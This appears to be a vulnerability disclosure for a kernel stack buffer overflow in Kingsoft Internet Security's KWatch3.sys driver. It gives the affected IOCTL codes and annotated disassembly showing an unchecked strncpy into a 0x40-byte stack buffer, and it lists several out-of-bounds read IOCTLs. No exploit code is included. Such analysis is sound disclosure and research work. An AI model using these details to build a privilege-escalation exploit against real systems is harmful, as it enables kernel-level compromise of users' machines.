Kingsoft Antivirus/Internet Security 9+ Kernel Stack Buffer Overflow Privilege Escalation Vulnerability
Anti-Virus: http://www.kingsoft.co/downloads/kav/KAV100720_ENU_DOWN_331020_10.rar
Internet Security: http://www.kingsoft.co/downloads/kis/kis.rar

Summary:
========

This vulnerability allows local attackers to escalate privileges on vulnerable installations of Kingsoft Internet Security. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaws exists within the processing of IOCTL 0x80030004 or 0x80030008 by the KWatch3.sys (internet security) kernel driver. The issue lies in the failure to properly validate user-supplied data which can result in a kernel stack buffer overflow. An attacker can leverage this vulnerability to execute arbitrary code under the context of kernel.

Vulnerability Analysis:
=======================

I am only going to detail a single bug since both ioctl handlers are *almost* identical. Inside the KWatch3.sys driver, we can see the following handler code for the first ioctl code (0x80030004)

; jumptable 000117C1 case 0

.text:000117C8 loc_117C8:                                      ; CODE XREF: sub_11790+31
.text:000117C8                                                 
.text:000117C8                 push    ebx                     ; our input buffer size
.text:000117C9                 lea     ecx, [esp+58h+var_40]   ; this is a fixed size stack buffer of 0x40
.text:000117CD                 push    edi                     ; our input buffer
.text:000117CE                 push    ecx                     ; char *
.text:000117CF                 call    strncpy                 ; stack buffer overflow
.text:000117D4                 add     esp, 0Ch
.text:000117D7                 lea     edx, [esp+54h+var_40]
.text:000117DB                 push    edx                     ; char *
.text:000117DC                 mov     [esp+ebx+58h+var_40], 0
.text:000117E1                 call    sub_167B0
.text:000117E6                 pop     edi
.text:000117E7                 mov     esi, eax
.text:000117E9                 pop     esi
.text:000117EA                 pop     ebp
.text:000117EB                 pop     ebx
.text:000117EC                 add     esp, 44h
.text:000117EF                 retn    8

Additional bugs:
~~~~~~~~~~~~~~~~

Out-of-Bounds Read vulnerabilities exist in the following ioctls as well:

- 0x8003001c
- 0x80030020
- 0x80030024
- 0x80030028

There is more, but I gave up. This happens because there are several functions that contain code like this:

.text:000172A0 loc_172A0:                                   ; CODE XREF: sub_17280+29
.text:000172A0                 mov     cx, [eax]            ; @eax is our input buffer
.text:000172A3                 add     eax, 2
.text:000172A6                 test    cx, cx
.text:000172A9                 jnz     short loc_172A0      ; jump if there is no null word

So all we have to do is set our input buffer to contain no null word values. Note that these only trigger a bug check if special pool is enabled and dont look exploitable (no leaking in the output buffer)
